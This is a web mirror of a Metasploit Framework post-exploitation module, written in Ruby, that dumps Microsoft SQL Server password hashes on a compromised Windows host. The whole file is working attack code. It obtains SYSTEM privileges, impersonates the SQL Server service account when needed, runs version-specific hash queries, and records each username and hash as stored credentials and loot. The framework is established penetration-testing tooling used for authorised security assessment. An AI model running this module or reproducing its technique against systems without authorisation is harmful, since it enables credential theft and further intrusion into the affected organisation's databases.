CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/windows/gather/credentials/mssql_local_hashdump.rb
Views: 11704
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Post
7
include Msf::Auxiliary::Report
8
include Msf::Post::Windows::MSSQL
9
10
def initialize(info = {})
11
super(
12
update_info(
13
info,
14
'Name' => 'Windows Gather Local SQL Server Hash Dump',
15
'Description' => %q{
16
This module extracts the usernames and password
17
hashes from an MSSQL server and stores them as loot. It uses the
18
same technique in mssql_local_auth_bypass.
19
},
20
'License' => MSF_LICENSE,
21
'Author' => [
22
'Mike Manzotti <mike.manzotti[at]dionach.com>',
23
'nullbind' # Original technique
24
],
25
'Platform' => [ 'win' ],
26
'SessionTypes' => [ 'meterpreter' ],
27
'References' => [
28
['URL', 'https://www.dionach.com/blog/easily-grabbing-microsoft-sql-server-password-hashes']
29
],
30
'Compat' => {
31
'Meterpreter' => {
32
'Commands' => %w[
33
stdapi_sys_config_rev2self
34
]
35
}
36
}
37
)
38
)
39
40
register_options(
41
[
42
OptString.new('INSTANCE', [false, 'Name of target SQL Server instance', nil])
43
]
44
)
45
end
46
47
def run
48
# Set instance name (if specified)
49
instance = datastore['INSTANCE'].to_s
50
51
# Display target
52
print_status("Running module against #{sysinfo['Computer']}")
53
54
# Identify available native SQL client
55
get_sql_client
56
fail_with(Failure::Unknown, 'Unable to identify a SQL client') unless @sql_client
57
58
# Get LocalSystem privileges
59
system_status = get_system
60
fail_with(Failure::Unknown, 'Unable to get SYSTEM') unless system_status
61
62
begin
63
service = check_for_sqlserver(instance)
64
fail_with(Failure::Unknown, 'Unable to identify MSSQL Service') unless service
65
66
print_status("Identified service '#{service[:display]}', PID: #{service[:pid]}")
67
instance_name = service[:display].gsub('SQL Server (', '').gsub(')', '').strip
68
69
begin
70
get_sql_hash(instance_name)
71
rescue RuntimeError
72
# Attempt to impersonate sql server service account (for sql server 2012)
73
if impersonate_sql_user(service)
74
get_sql_hash(instance_name)
75
end
76
end
77
ensure
78
# return to original priv context
79
session.sys.config.revert_to_self
80
end
81
end
82
83
def get_sql_version(instance_name)
84
vprint_status('Attempting to get version...')
85
86
query = mssql_sql_info
87
88
get_version_result = run_sql(query, instance_name)
89
90
# Parse Data
91
get_version_array = get_version_result.split("\n")
92
version_year = get_version_array.first.strip.slice(/\d\d\d\d/)
93
if version_year
94
vprint_status("MSSQL version found: #{version_year}")
95
return version_year
96
else
97
vprint_error('MSSQL version not found')
98
end
99
end
100
101
def get_sql_hash(instance_name)
102
version_year = get_sql_version(instance_name)
103
104
case version_year
105
when '2000'
106
hash_type = 'mssql'
107
query = mssql_2k_password_hashes
108
when '2005', '2008'
109
hash_type = 'mssql05'
110
query = mssql_2k5_password_hashes
111
when '2012', '2014'
112
hash_type = 'mssql12'
113
query = mssql_2k5_password_hashes
114
else
115
fail_with(Failure::Unknown, 'Unable to determine MSSQL Version')
116
end
117
118
print_status('Attempting to get password hashes...')
119
120
res = run_sql(query, instance_name)
121
122
if res.include?('0x')
123
# Parse Data
124
if hash_type == 'mssql12'
125
res = res.unpack('H*')[0].gsub('200d0a', '_CRLF_').gsub('0d0a', '').gsub('_CRLF_', '0d0a').gsub(/../) do |pair|
126
pair.hex.chr
127
end
128
end
129
hash_array = res.split("\r\n").grep(/0x/)
130
131
store_hashes(hash_array, hash_type)
132
else
133
fail_with(Failure::Unknown, 'Unable to retrieve hashes')
134
end
135
end
136
137
def store_hashes(hash_array, hash_type)
138
# Save data
139
loot_hashes = ''
140
hash_array.each do |row|
141
user, hash = row.strip.split
142
143
service_data = {
144
address: rhost,
145
port: rport,
146
service_name: 'mssql',
147
protocol: 'tcp',
148
workspace_id: myworkspace_id
149
}
150
151
# Initialize Metasploit::Credential::Core object
152
credential_data = {
153
post_reference_name: refname,
154
origin_type: :session,
155
private_type: :nonreplayable_hash,
156
private_data: hash,
157
username: user,
158
session_id: session_db_id,
159
jtr_format: hash_type,
160
workspace_id: myworkspace_id
161
}
162
163
credential_data.merge!(service_data)
164
165
# Create the Metasploit::Credential::Core object
166
credential_core = create_credential(credential_data)
167
168
# Assemble the options hash for creating the Metasploit::Credential::Login object
169
login_data = {
170
core: credential_core,
171
status: Metasploit::Model::Login::Status::UNTRIED
172
}
173
174
# Merge in the service data and create our Login
175
login_data.merge!(service_data)
176
create_credential_login(login_data)
177
178
print_line("#{user}:#{hash}")
179
180
loot_hashes << "#{user}:#{hash}\n"
181
end
182
183
if loot_hashes.empty?
184
return false
185
else
186
# Store MSSQL password hash as loot
187
loot_path = store_loot('mssql.hash', 'text/plain', session, loot_hashes, 'mssql_hashdump.txt', 'MSSQL Password Hash')
188
print_good("MSSQL password hash saved in: #{loot_path}")
189
return true
190
end
191
end
192
end
193
194